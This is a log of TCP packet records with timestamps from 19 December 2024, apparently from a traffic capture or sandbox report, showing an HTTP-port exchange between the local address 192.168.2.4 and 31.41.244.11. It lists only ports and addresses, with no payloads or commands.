Dec 19, 2024 20:11:21.894709110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.894778013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.895765066 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.895890951 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.896284103 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.896328926 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.896776915 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.896840096 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.897150993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.897197962 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.897805929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.897855043 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.897933960 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.898020029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.898940086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.898951054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.898988008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.900046110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.900103092 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.900314093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.900361061 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.901124001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.901240110 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.901421070 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.901472092 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.902151108 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.902323008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.902364969 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.902410984 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.903372049 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.903481960 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.904309034 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.904360056 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.904627085 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.904757023 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.904768944 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.904798985 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.905684948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.905735970 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.905857086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.906025887 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.906656027 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.906699896 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.907222986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.907272100 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.907587051 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.907635927 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.908441067 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.908487082 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.908803940 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.908816099 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.908860922 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.908888102 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.909773111 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.909837961 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.909899950 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.909948111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.910944939 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.910999060 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.911329985 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.911418915 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.046489000 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.046570063 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.046633005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.046675920 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.047135115 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.047192097 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.047250986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.047293901 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.048080921 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.048131943 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.048173904 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.048270941 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.049185991 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.049263000 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.049591064 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.049639940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.050290108 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.050345898 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.050360918 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.050472975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.051378965 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.051429987 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.052001953 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.052048922 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.052495956 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.052548885 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.052638054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.053298950 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.053643942 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.053689957 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.053697109 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.053786039 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.054647923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.054697037 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.054989100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.055037975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.055740118 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.055824041 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.055846930 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.055887938 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.056844950 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.057020903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.057039976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.057063103 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.057897091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.057976007 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.058053017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.058096886 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.059178114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.059190989 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.059238911 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.060060024 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.060117006 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.060568094 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.060621023 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.061183929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.061254978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.061517954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.061562061 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.062321901 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.062378883 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.062479019 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.062530994 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.063378096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.063432932 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.063617945 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.063663006 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.064574003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.064591885 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.064631939 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.065545082 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.065603018 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.065674067 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.065727949 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.066639900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.066689014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.067210913 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.067284107 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.067868948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.067882061 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.067929983 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.068830013 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.068883896 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.068973064 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.069021940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.069957972 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.070064068 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.070651054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.070696115 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.071007967 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.071110010 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.071158886 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.072098970 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.072232008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.072295904 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.072343111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.073184967 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.073230982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.073373079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.073420048 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.074421883 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.074506044 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.075016975 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.075063944 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.075377941 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.075429916 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.075506926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.075552940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.076638937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.076690912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.076961994 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.077013016 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.077996969 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.078114033 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.078291893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.078340054 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.079101086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.079153061 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.079571962 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.079621077 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.080233097 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.080399036 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.081442118 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.081460953 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.081489086 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.081506014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.081541061 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.081589937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.082467079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.082516909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.082559109 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.082648993 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.083616018 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.083666086 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.083734989 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.083846092 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.084556103 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.084600925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.084697962 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.084749937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.085432053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.085504055 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.085556984 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.085603952 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.086370945 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.086419106 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.086661100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.086702108 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.087385893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.087447882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.087532997 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.087578058 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.088641882 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.088654995 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.088696957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.089575052 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.089632034 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.089710951 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.089778900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.090730906 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.090945959 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.091218948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.091265917 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.091741085 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.091794014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.091862917 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.091907978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.092940092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.092992067 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.093554020 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.093605995 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.093919992 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.094248056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.094295979 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.095032930 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.095082998 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.095252991 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.095300913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.096406937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.096455097 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.096728086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.096777916 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.097162008 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.097212076 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.097459078 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.097508907 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.098463058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.098511934 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.098850012 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.099356890 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.099550009 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.099601984 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.100569963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.100584030 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.100620985 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.100641012 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.100686073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.100811005 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.101641893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.101691961 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.102161884 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.102205038 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.102616072 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.102708101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.103221893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.103281021 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.103857040 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.104908943 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.242409945 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.242487907 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.242530107 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.242582083 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.242877007 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.242891073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.242930889 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.243872881 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.243946075 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.243987083 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.244035006 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.244950056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.245064020 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.245076895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.245124102 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.246088982 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.246144056 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.246356964 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.246433020 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.247189999 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.247236967 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.247505903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.247556925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.248265028 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.248312950 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.248544931 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.248591900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.249316931 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.249434948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.249490976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.250422955 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.250473022 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.250535011 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.250581980 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.251564026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.251616001 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.251682997 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.251760006 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.252625942 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.252712011 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.252737999 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.252791882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.253873110 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.253926992 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.254156113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.254225016 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.254761934 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.254806042 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.254956007 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.255028009 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.255913019 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.255959988 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.256011009 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.256057978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.257550001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.257563114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.257607937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.258313894 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.258326054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.258363008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.259407997 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.259454966 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.259784937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.259840012 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.260382891 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.260431051 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.260516882 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.260561943 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.261521101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:22.261569977 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:22.261667013 CET	80	49794	31.41.244.11	192.168.2.4
